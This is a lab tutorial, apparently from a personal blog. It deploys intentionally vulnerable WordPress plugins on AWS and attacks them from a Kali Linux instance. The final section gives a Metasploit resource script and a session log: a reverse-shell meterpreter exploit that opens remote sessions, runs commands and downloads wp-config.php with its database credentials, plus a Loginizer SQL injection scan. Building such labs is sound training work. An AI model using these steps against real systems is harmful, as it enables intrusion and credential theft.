Post

Exploit vulnerability in a WordPress plugin with Kali Linux 2

Learn how to exploit a vulnerability in a WordPress plugin running on EC2 using Kali Linux

For the educational purposes, it may be useful to learn how to exploit a RCE and SQLi vulnerabilities in a WordPress plugin using Kali Linux.

I’m going to cover the following steps:

  • Install Amazon ECS cluster and crete two EC2 instances (standalone and with Docker)
  • Install Wordpress and vulnerable Wordpress plugin to ECS, Docker and standalone EC2 instance
  • Create EC2 instance with Kali Linux (and install Metasploit there) - attacker machine
  • Exploit vulnerabilities in a WordPress plugin using Kali Linux + Metasploit

Set necessary environment variables and download CloudFormation templates

Requirements:

Set the environment variables:

1
2
3
4
5
6
7
8
9
10
11
# export AWS_ACCESS_KEY_ID="xxxxxxxxxxxxxxxxxx"
# export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_REGION="eu-central-1"
AWS_EC2_KEY_PAIR_NAME="wordpress-test"
TMP_DIR="${TMP_DIR:-${PWD}}"
WORDPRESS_USERNAME="wordpress"
WORDPRESS_PASSWORD=$(openssl rand -base64 12)
MARIADB_WORDPRESS_DATABASE="wordpress"
MARIADB_WORDPRESS_DATABASE_USER="wordpress"
MARIADB_WORDPRESS_DATABASE_PASSWORD=$(openssl rand -base64 12)
MARIADB_ROOT_PASSWORD=$(openssl rand -base64 12)

Download the CloudFormation templates for VPC, Kali Linux, Ubuntu (Docker EC2) and AmazonLinux-2023 (standalone EC2):

1
2
3
4
5
6
7
8
# renovate: currentValue=master
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/aws-codebuild-samples/00284b828a360aa89ac635a44d84c5a748af03d3/ci_tools/vpc_cloudformation_template.yml
# renovate:
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/amazon-ec2-nice-dcv-samples/3cb54467cf4c58bace2f949a704871f9bc0e5af5/cfn/KaliLinux-NICE-DCV.yaml
# renovate:
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/ec2-lamp-server/c0ec2481d4995771422304b05b7b90bd701052f2/UbuntuLinux-2204-LAMP-server.yaml
# renovate:
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/ec2-lamp-server/c0ec2481d4995771422304b05b7b90bd701052f2/AmazonLinux-2023-LAMP-server.yaml

Create a new AWS EC2 Key Pair to be used for the EC2 instances:

1
2
aws ec2 create-key-pair --key-name "${AWS_EC2_KEY_PAIR_NAME}" --key-type ed25519 --query "KeyMaterial" --output text > "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem"
chmod 600 "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem"

Run Kali Linux on Amazon EC2 instance

Kali Linux

Create AWS EC2 instance with Kali Linux using the CloudFormation template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
export SOLUTION_KALI="KaliLinux-NICE-DCV"

aws cloudformation deploy --capabilities CAPABILITY_IAM \
  --parameter-overrides "EnvironmentName=${SOLUTION_KALI}" \
  --stack-name "${SOLUTION_KALI}-VPC" --template-file "${TMP_DIR}/vpc_cloudformation_template.yml" \
  --tags "Owner=${USER} Environment=dev Solution=${SOLUTION_KALI}"

# shellcheck disable=SC2016
AWS_CLOUDFORMATION_DETAILS=$(aws cloudformation describe-stacks --stack-name "${SOLUTION_KALI}-VPC" --query 'Stacks[0].Outputs[? OutputKey==`PublicSubnet1` || OutputKey==`VPC`].{OutputKey:OutputKey,OutputValue:OutputValue}')
AWS_VPC_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"VPC\") .OutputValue")
AWS_SUBNET_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"PublicSubnet1\") .OutputValue")

eval aws cloudformation create-stack --capabilities CAPABILITY_AUTO_EXPAND CAPABILITY_IAM --on-failure DO_NOTHING \
  --parameters "ParameterKey=ec2KeyPair,ParameterValue=${AWS_EC2_KEY_PAIR_NAME} ParameterKey=vpcID,ParameterValue=${AWS_VPC_ID} ParameterKey=subnetID,ParameterValue=${AWS_SUBNET_ID} ParameterKey=allowWebServerPorts,ParameterValue=HTTP-and-HTTPS" \
  --stack-name "${SOLUTION_KALI}" --template-body "file://${TMP_DIR}/KaliLinux-NICE-DCV.yaml" \
  --tags "Key=Owner,Value=${USER} Key=Environment,Value=dev Key=Solution,Value=${SOLUTION_KALI}"

Build EC2 instances with Wordpress Application

Let’s look at the way to build EC2 instance with vulnerable Wordpress Application.

Create new EC2 instance with Wordpress in Container

Build new Ubuntu Linux 22.04 EC2 instance:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
export SOLUTION_EC2_CONTAINER="Amazon-EC2-Container"

aws cloudformation deploy \
  --parameter-overrides "EnvironmentName=${SOLUTION_EC2_CONTAINER}" \
  --stack-name "${SOLUTION_EC2_CONTAINER}-VPC" --template-file "${TMP_DIR}/vpc_cloudformation_template.yml" \
  --tags "Owner=${USER} Environment=dev Solution=${SOLUTION_EC2_CONTAINER}"

# shellcheck disable=SC2016
AWS_CLOUDFORMATION_DETAILS=$(aws cloudformation describe-stacks --stack-name "${SOLUTION_EC2_CONTAINER}-VPC" --query 'Stacks[0].Outputs[? OutputKey==`PublicSubnet1` || OutputKey==`VPC`].{OutputKey:OutputKey,OutputValue:OutputValue}')
AWS_VPC_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"VPC\") .OutputValue")
AWS_SUBNET_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"PublicSubnet1\") .OutputValue")

eval aws cloudformation deploy --capabilities CAPABILITY_IAM \
  --parameter-overrides "instanceType=t4g.medium ec2Name=${SOLUTION_EC2_CONTAINER} ec2KeyPair=${AWS_EC2_KEY_PAIR_NAME} vpcID=${AWS_VPC_ID} subnetID=${AWS_SUBNET_ID} webOption=none databaseOption=none phpVersion=none" \
  --stack-name "${SOLUTION_EC2_CONTAINER}" --template-file "${TMP_DIR}/AmazonLinux-2023-LAMP-server.yaml" \
  --tags "Owner=${USER} Environment=dev Solution=${SOLUTION_EC2_CONTAINER}"

AWS_EC2_CONTAINER_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=tag:Solution,Values=${SOLUTION_EC2_CONTAINER}" --query "Reservations[].Instances[].PublicIpAddress" --output text)
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_CONTAINER_PUBLIC_IP}" 'curl -Ls https://github.com/ruzickap.keys >> ~/.ssh/authorized_keys'

Install Docker and Docker Compose:

1
2
3
4
5
6
7
8
9
10
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_CONTAINER_PUBLIC_IP}" << \EOF
set -euxo pipefail
sudo dnf install -qy docker
sudo usermod -aG docker ec2-user
sudo systemctl enable --now docker
sudo mkdir -p /usr/local/lib/docker/cli-plugins
sudo curl -sL https://github.com/docker/compose/releases/latest/download/docker-compose-linux-$(uname -m) -o /usr/local/lib/docker/cli-plugins/docker-compose
sudo chown root:root /usr/local/lib/docker/cli-plugins/docker-compose
sudo chmod +x /usr/local/lib/docker/cli-plugins/docker-compose
EOF

Install Wordpress in the container with vulnerable WordPress Backup Migration Plugin and Loginizer plugins:

Wordpress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# shellcheck disable=SC2087
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_CONTAINER_PUBLIC_IP}" << EOF2
set -euxo pipefail
mkdir -p docker-entrypoint-init.d
cat > docker-entrypoint-init.d/wordpress_plugin_install.sh << EOF
wp plugin install backup-backup --version=1.3.7 --activate
wp plugin install loginizer --version=1.6.3 --activate
EOF
chmod a+x docker-entrypoint-init.d/wordpress_plugin_install.sh

cat > docker-compose.yml << EOF
services:
  mariadb:
    # renovate: datasource=docker depName=bitnami/mariadb
    image: docker.io/bitnami/mariadb:11.2
    volumes:
      - 'mariadb_data:/bitnami/mariadb'
    environment:
      - ALLOW_EMPTY_PASSWORD=no
      - MARIADB_USER=${MARIADB_WORDPRESS_DATABASE_USER}
      - MARIADB_DATABASE=${MARIADB_WORDPRESS_DATABASE}
      - MARIADB_PASSWORD=${MARIADB_WORDPRESS_DATABASE_PASSWORD}
      - MARIADB_ROOT_PASSWORD=${MARIADB_ROOT_PASSWORD}
  wordpress:
    image: docker.io/bitnami/wordpress:6
    ports:
      - '80:8080'
      - '443:8443'
    volumes:
      - 'wordpress_data:/bitnami/wordpress'
      - '\${PWD}/docker-entrypoint-init.d:/docker-entrypoint-init.d'
    depends_on:
      - mariadb
    environment:
      - ALLOW_EMPTY_PASSWORD=no
      - WORDPRESS_USERNAME=${WORDPRESS_USERNAME}
      - WORDPRESS_PASSWORD=${WORDPRESS_PASSWORD}
      - WORDPRESS_DATABASE_HOST=mariadb
      - WORDPRESS_DATABASE_PORT_NUMBER=3306
      - WORDPRESS_DATABASE_USER=${MARIADB_WORDPRESS_DATABASE_USER}
      - WORDPRESS_DATABASE_PASSWORD=${MARIADB_WORDPRESS_DATABASE_PASSWORD}
      - WORDPRESS_DATABASE_NAME=${MARIADB_WORDPRESS_DATABASE}
volumes:
  mariadb_data:
    driver: local
  wordpress_data:
    driver: local
EOF

docker compose up --quiet-pull -d
EOF2

The vulnerable plugins WordPress Backup Migration Plugin 1.3.7 and Loginizer 1.6.3 were installed.

Summarize the Wordpress URL, Admin URL, Username, and Password:

1
2
3
echo "WordPress URL: http://${AWS_EC2_CONTAINER_PUBLIC_IP}/"
echo "WordPress Admin URL: http://${AWS_EC2_CONTAINER_PUBLIC_IP}/admin"
echo -e "Username: ${WORDPRESS_USERNAME}\nPassword: ${WORDPRESS_PASSWORD}"

Create new EC2 instance with Wordpress

Build new Ubuntu Linux 22.04 EC2 instance:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
export SOLUTION_EC2="Amazon-EC2"

aws cloudformation deploy \
  --parameter-overrides "EnvironmentName=${SOLUTION_EC2}" \
  --stack-name "${SOLUTION_EC2}-VPC" --template-file "${TMP_DIR}/vpc_cloudformation_template.yml" \
  --tags "Owner=${USER} Environment=dev Solution=${SOLUTION_EC2}"

# shellcheck disable=SC2016
AWS_CLOUDFORMATION_DETAILS=$(aws cloudformation describe-stacks --stack-name "${SOLUTION_EC2}-VPC" --query 'Stacks[0].Outputs[? OutputKey==`PublicSubnet1` || OutputKey==`VPC`].{OutputKey:OutputKey,OutputValue:OutputValue}')
AWS_VPC_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"VPC\") .OutputValue")
AWS_SUBNET_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"PublicSubnet1\") .OutputValue")

eval aws cloudformation deploy --capabilities CAPABILITY_IAM \
  --parameter-overrides "instanceType=t4g.medium ec2Name=${SOLUTION_EC2} ec2KeyPair=${AWS_EC2_KEY_PAIR_NAME} vpcID=${AWS_VPC_ID} subnetID=${AWS_SUBNET_ID}" \
  --stack-name "${SOLUTION_EC2}" --template-file "${TMP_DIR}/AmazonLinux-2023-LAMP-server.yaml" \
  --tags "Owner=${USER} Environment=dev Solution=${SOLUTION_EC2}"

AWS_EC2_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=tag:Solution,Values=${SOLUTION_EC2}" --query "Reservations[].Instances[].PublicIpAddress" --output text)
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_PUBLIC_IP}" 'curl -Ls https://github.com/ruzickap.keys >> ~/.ssh/authorized_keys'

Configure MariaDB and add wordpress user with password:

MariaDB

1
2
3
4
5
6
7
8
9
10
11
12
13
# shellcheck disable=SC2087
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_PUBLIC_IP}" << EOF2
sudo mysql --user=root << \EOF
UPDATE mysql.global_priv SET priv=json_set(priv, '$.plugin', 'mysql_native_password', '$.authentication_string', PASSWORD('${MARIADB_ROOT_PASSWORD}')) WHERE User='root';
DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');
DELETE FROM mysql.global_priv WHERE User='';
DROP DATABASE IF EXISTS test;
DELETE FROM mysql.db WHERE Db='test' OR Db='test\\_%';
CREATE USER '${MARIADB_WORDPRESS_DATABASE_USER}'@'localhost' IDENTIFIED BY '${MARIADB_WORDPRESS_DATABASE_PASSWORD}';
GRANT ALL PRIVILEGES ON ${MARIADB_WORDPRESS_DATABASE}.* TO '${MARIADB_WORDPRESS_DATABASE_USER}'@'localhost';
FLUSH PRIVILEGES;
EOF
EOF2

Install Wordpress with vulnerable WordPress Backup Migration Plugin and Loginizer plugins:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# shellcheck disable=SC2087
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_PUBLIC_IP}" << EOF
set -euxo pipefail
wget -q https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar
sudo mv wp-cli.phar /usr/local/bin/wp
cd /var/www/html/
wp core download --version=6.5.3
wp config create --dbname="${MARIADB_WORDPRESS_DATABASE}" --dbuser="${MARIADB_WORDPRESS_DATABASE_USER}" --dbpass="${MARIADB_WORDPRESS_DATABASE_PASSWORD}"
wp db create
wp core install --url="${AWS_EC2_PUBLIC_IP}" --title="My Blog" --admin_user="${WORDPRESS_USERNAME}" --admin_password="${WORDPRESS_PASSWORD}" --skip-email --admin_email="info@example.com"
wp plugin install backup-backup --version=1.3.7 --activate
wp plugin install loginizer --version=1.6.3 --activate
EOF

Summarize the Wordpress URL, Admin URL, Username, and Password:

1
2
3
echo "WordPress URL: http://${AWS_EC2_PUBLIC_IP}/"
echo "WordPress Admin URL: http://${AWS_EC2_PUBLIC_IP}/wp-admin/"
echo -e "Username: ${WORDPRESS_USERNAME}\nPassword: ${WORDPRESS_PASSWORD}"

Create ECS cluster with Wordpress

Amazon ECS

Prepare the wordpress_plugin_install.sh startup script, which will be used to install the WordPress Backup Migration Plugin and Loginizer plugins during the container startup:

1
2
3
4
5
6
cd "${TMP_DIR}" || exit
cat > wordpress_plugin_install.sh << EOF
wp plugin install backup-backup --version=1.3.7 --activate
wp plugin install loginizer --version=1.6.3 --activate
EOF
chmod a+x wordpress_plugin_install.sh

Create the startup.sh script, which will be used to populate the environment variables for bitnami/wordpress based on the WORDPRESSCLUSTER_SECRET produced by copilot:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cat > startup.sh << \EOF
#!/bin/sh

# Exit if the secret wasn't populated by the ECS agent
if [ -z "${WORDPRESSCLUSTER_SECRET}" ]; then
  echo "Environment variable "WORDPRESSCLUSTER_SECRET" with secrets is not populated in environment !!!"
  echo 'It should look like: {"host":"mariadb","port":3306,"dbname":"wordpress","username":"wordpress","password":"password"}'
  exit 1
fi

export WORDPRESS_DATABASE_HOST=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.host')
export WORDPRESS_DATABASE_PORT_NUMBER=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.port')
export WORDPRESS_DATABASE_NAME=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.dbname')
export WORDPRESS_DATABASE_USER=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.username')
export WORDPRESS_DATABASE_PASSWORD=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.password')

/opt/bitnami/scripts/wordpress/entrypoint.sh /opt/bitnami/scripts/apache/run.sh
EOF
chmod a+x startup.sh

Prepare the Dockerfile which installs jq into the Bitnami Wordpress image ad uses the startup.sh script to start the container:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat > Dockerfile << \EOF
FROM docker.io/bitnami/minideb:bookworm as installer
RUN set -eux && \
    apt-get update -q && \
    apt-get install curl -y -q && \
    curl -sLo /usr/local/bin/jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && \
    chmod a+x /usr/local/bin/jq

FROM docker.io/bitnami/wordpress:latest as app
COPY --from=installer /usr/local/bin/jq /usr/bin/jq
COPY startup.sh /opt/copilot/scripts/startup.sh
COPY wordpress_plugin_install.sh /docker-entrypoint-init.d/

ENTRYPOINT ["/bin/sh", "-c"]
CMD ["/opt/copilot/scripts/startup.sh"]
EXPOSE 8080
EOF

Initialize the backend with Copilot:

Copilot CLI

1
copilot app init wordpress --resource-tags "Owner=${USER},Environment=dev,Solution=Amazon-ECS"

Create a development environment:

1
copilot env init --name dev --default-config

Set up the required infrastructure to run our containerized application. It will now proceed to create the VPC, Public Subnets, Private Subnets, Route53 Private HostedZone for Service discovery, custom route table, Security Group for containers to talk to each other, and an ECS Cluster to group the ECS services:

1
copilot env deploy --name dev

Create a Wordpress secrets in SecureString parameters in SSM Parameter Store:

1
2
copilot secret init --name WORDPRESS_USERNAME --values "dev=${WORDPRESS_USERNAME}" --overwrite
copilot secret init --name WORDPRESS_PASSWORD --values "dev=${WORDPRESS_PASSWORD}" --overwrite

Start the Docker Desktop or Colima in case you are the Mac User:

1
colima start

Create a manifest file which defines your backend service:

1
2
copilot svc init --dockerfile Dockerfile \
  --name wordpress --port 8080 --svc-type 'Load Balanced Web Service'

Add references to the secrets in the copilot/wordpress/manifest.yml:

1
2
3
4
5
6
cat >> copilot/wordpress/manifest.yml << EOF

secrets:
  WORDPRESS_USERNAME: /copilot/wordpress/dev/secrets/WORDPRESS_USERNAME
  WORDPRESS_PASSWORD: /copilot/wordpress/dev/secrets/WORDPRESS_PASSWORD
EOF

Create a Aurora DB to be used by the backend service:

1
2
copilot storage init --name wordpress-cluster --lifecycle=workload \
  --storage-type Aurora --engine MySQL --initial-db "${MARIADB_WORDPRESS_DATABASE}"

Deploy the backend service to the development environment:

1
copilot svc deploy --resource-tags "Owner=${USER},Environment=dev,Solution=Amazon-ECS"

Get the the details of the service:

1
2
COPILOT_PUBLIC_IP=$(copilot svc show --name wordpress --json | jq -r '.routes[].url')
copilot svc show --name wordpress
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
About

  Application  wordpress
  Name         wordpress
  Type         Load Balanced Web Service

Configurations

  Environment  Tasks     CPU (vCPU)  Memory (MiB)  Platform      Port
  -----------  -----     ----------  ------------  --------      ----
  dev          1         0.25        512           LINUX/X86_64  8080

Routes

  Environment  URL
  -----------  ---
  dev          http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com

Internal Service Endpoints

  Endpoint                            Environment  Type
  --------                            -----------  ----
  wordpress:8080                      dev          Service Connect
  wordpress.dev.wordpress.local:8080  dev          Service Discovery

Variables

  Name                                Container  Environment  Value
  ----                                ---------  -----------  -----
  COPILOT_APPLICATION_NAME            wordpress  dev          wordpress
  COPILOT_ENVIRONMENT_NAME              "          "          dev
  COPILOT_LB_DNS                        "          "          wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
  COPILOT_SERVICE_DISCOVERY_ENDPOINT    "          "          dev.wordpress.local
  COPILOT_SERVICE_NAME                  "          "          wordpress
  WORDPRESSCLUSTER_SECURITY_GROUP       "          "          sg-0877803062b02c1ac

Secrets

  Name                     Container  Environment  Value From
  ----                     ---------  -----------  ----------
  WORDPRESSCLUSTER_SECRET  wordpress  dev          arn:aws:secretsmanager:eu-central-1:729560437327:secret:wordpressclusterAuroraSecre-2q9Fj1KRUkQL-VV3pqy
  WORDPRESS_PASSWORD         "          "          parameter//copilot/wordpress/dev/secrets/WORDPRESS_PASSWORD
  WORDPRESS_USERNAME         "          "          parameter//copilot/wordpress/dev/secrets/WORDPRESS_USERNAME

Summarize the Wordpress URL, Admin URL, Username and Password:

1
2
3
echo "WordPress URL: ${COPILOT_PUBLIC_IP}/"
echo "WordPress Admin URL: ${COPILOT_PUBLIC_IP}/wp-admin/"
echo -e "Username: ${WORDPRESS_USERNAME}\nPassword: ${WORDPRESS_PASSWORD}"

Handy ECS links:

Attack the Wordpress Application

The following part describes the usage of Metasploit Framework to exploit the vulnerability in the WordPress Backup Migration Plugin and Loginizer plugins.

The details about the Wordpress plugin vulnerabilities can be found here:

Login to the Kali Linux instance using SSH and perform the steps:

  • Use wp_backup_migration_php_filter and wp_loginizer_log_sqli Metasploit modules to exploit the Wordpress plugin vulnerabilities
  • Execute the sysinfo to get details about the remote system
  • Download the Wordpress config file wp-config.php which contains database credentials

Allow my user to connect to Kali Linux instance using SSH and install Metasploit:

1
2
3
4
5
6
7
8
AWS_EC2_KALI_LINUX_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=tag:Solution,Values=${SOLUTION_KALI}" --query "Reservations[].Instances[].PublicIpAddress" --output text)
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}" 'curl -Ls https://github.com/ruzickap.keys >> ~/.ssh/authorized_keys'
scp -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}":~
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}" << EOF
touch ~/.hushlogin
sudo snap install metasploit-framework
msfdb init
EOF

Metasploit Metasploit logo

Run Metasploit Framework and exploit the vulnerability in all three environments (ECS, EC2 with Docker and standalone EC2 instance):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# shellcheck disable=SC2087
for PUBLIC_IP in ${COPILOT_PUBLIC_IP} ${AWS_EC2_CONTAINER_PUBLIC_IP} ${AWS_EC2_PUBLIC_IP}; do
  echo "*** ${PUBLIC_IP}"
  ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}" << EOF2
cat << EOF | msfconsole --quiet --resource -
use exploit/multi/http/wp_backup_migration_php_filter
set rhost ${PUBLIC_IP}
set lhost ${AWS_EC2_KALI_LINUX_PUBLIC_IP}
set lport 443
run --no-interact
sessions --interact 1 --meterpreter-command ps --meterpreter-command sysinfo \
  --meterpreter-command "download /bitnami/wordpress/wp-config.php"
use auxiliary/scanner/http/wp_loginizer_log_sqli
set rhost ${PUBLIC_IP}
set verbose true
run
exit -y
EOF
EOF2
done

The output was shortened showing only the attack to Wordpress in Amazon ECS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
*** http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.



 ** Metasploit Framework Initial Setup Complete **

Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at /home/kali/snap/metasploit-framework/common/.msf4/db...server starting
success
This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
[*] Processing stdin for ERB directives.
resource (stdin)> use exploit/multi/http/wp_backup_migration_php_filter
[*] Using configured payload php/meterpreter/reverse_tcp

resource (stdin)> set rhost http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
rhost => http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com

resource (stdin)> set lhost 18.185.154.248
lhost => 18.185.154.248

resource (stdin)> set lport 443
lport => 443

resource (stdin)> run --no-interact
[*] Exploiting target 18.158.31.183
[-] Handler failed to bind to 18.185.154.248:443:-  -
[*] Started reverse TCP handler on 0.0.0.0:443
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 3.71.92.221
[+] Deleted Y
[+] Deleted pLqV.php
[*] Meterpreter session 1 opened (10.192.10.69:443 -> 3.71.92.221:40930) at 2024-06-01 18:18:03 +0000
[*] Session 1 created in the background.
[*] Exploiting target 18.194.82.16
[-] Handler failed to bind to 18.185.154.248:443:-  -
[*] Started reverse TCP handler on 0.0.0.0:443
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 3.71.92.221
[+] Deleted d
[+] Deleted pLqV.php
[*] Meterpreter session 2 opened (10.192.10.69:443 -> 3.71.92.221:35022) at 2024-06-01 18:19:07 +0000
[*] Session 2 created in the background.

resource (stdin)> sessions --interact 1 --meterpreter-command ps --meterpreter-command sysinfo   --meterpreter-command "download /bitnami/wordpress/wp-config.php"
[*] Running 'ps' on meterpreter session 1 (18.158.31.183)

Process List
============

 PID  Name                                              User  Path
 ---  ----                                              ----  ----
 1    /bin/sh                                           1001  /bin/sh -c /opt/copilot/scripts/startup.sh
 8    /bin/sh                                           1001  /bin/sh /opt/copilot/scripts/startup.sh
 15   /managed-agents/execute-command/amazon-ssm-agent  root  /managed-agents/execute-command/amazon-ssm-agent
 30   /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 60   /managed-agents/execute-command/ssm-agent-worker  root  /managed-agents/execute-command/ssm-agent-worker
 345  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 346  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 347  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 348  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 349  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 350  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 352  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 406  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 407  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 408  /opt/bitnami/apache/bin/httpd                     1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 419  sh                                                1001  sh -c ps ax -w -o pid,user,cmd --no-header 2>/dev/null
 420  ps                                                1001  ps ax -w -o pid,user,cmd --no-header

[*] Running 'sysinfo' on meterpreter session 1 (18.158.31.183)
Computer    : ip-10-0-0-38.eu-central-1.compute.internal
OS          : Linux ip-10-0-0-38.eu-central-1.compute.internal 5.10.215-203.850.amzn2.x86_64 #1 SMP Tue Apr 23 20:32:19 UTC 2024 x86_64
Meterpreter : php/linux
[*] Running 'download /bitnami/wordpress/wp-config.php' on meterpreter session 1 (18.158.31.183)
[*] Downloading: /bitnami/wordpress/wp-config.php -> /home/kali/wp-config.php
[*] Downloaded 4.28 KiB of 4.28 KiB (100.0%): /bitnami/wordpress/wp-config.php -> /home/kali/wp-config.php
[*] Completed  : /bitnami/wordpress/wp-config.php -> /home/kali/wp-config.php

resource (stdin)> use auxiliary/scanner/http/wp_loginizer_log_sqli

resource (stdin)> set rhost http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
rhost => http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com

resource (stdin)> set verbose true
verbose => true

resource (stdin)> run
[*] Checking /wp-content/plugins/loginizer/readme.txt
[*] Found version 1.6.3 in the plugin
[+] Vulnerable version of Loginizer detected
